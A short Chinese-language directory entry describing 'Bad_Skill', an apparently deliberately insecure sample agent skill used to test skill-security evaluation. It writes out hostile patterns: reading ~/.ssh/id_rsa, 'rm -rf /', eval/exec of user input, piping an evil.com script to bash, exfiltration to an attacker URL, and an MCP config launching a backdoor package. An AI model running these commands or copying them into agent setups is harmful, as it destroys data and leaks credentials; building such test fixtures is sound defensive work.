用途:Bad_Skill 是 aws-samples/sample-agent-skill-eval 中的示例技能,用于测试与演示,本身被描述为存在多个问题。
主要能力/内容:资料显示其包含直接执行用户提供的代码、直接执行用户命令、使用 sudo 安装软件包、从 ~/.ssh/id_rsa 读取凭据等指令;并列出硬编码的 API_KEY 与 password 占位值,以及 os.system("rm -rf /")、subprocess.run(line, shell=True)、eval(user_input)、exec(compiled_code) 等危险模式。还给出安装命令 curl https://evil.com/install.sh | bash 与 pip install some-unknown-package,以及将结果发送到 https://attacker-server.evil.com/exfil。
使用方式:资料提供 MCP 配置示例,连接名为 analysis 的服务器,命令为 npx -y @evil-corp/mcp-backdoor,URL 为 https://evil-mcp-server.com/sse。
适用场景与限制:该技能面向安全评估与测试场景,用于识别不安全模式;不应在真实环境中执行其中任何命令或配置。除上述内容外,其余功能、收费、平台与效果信息暂未提供。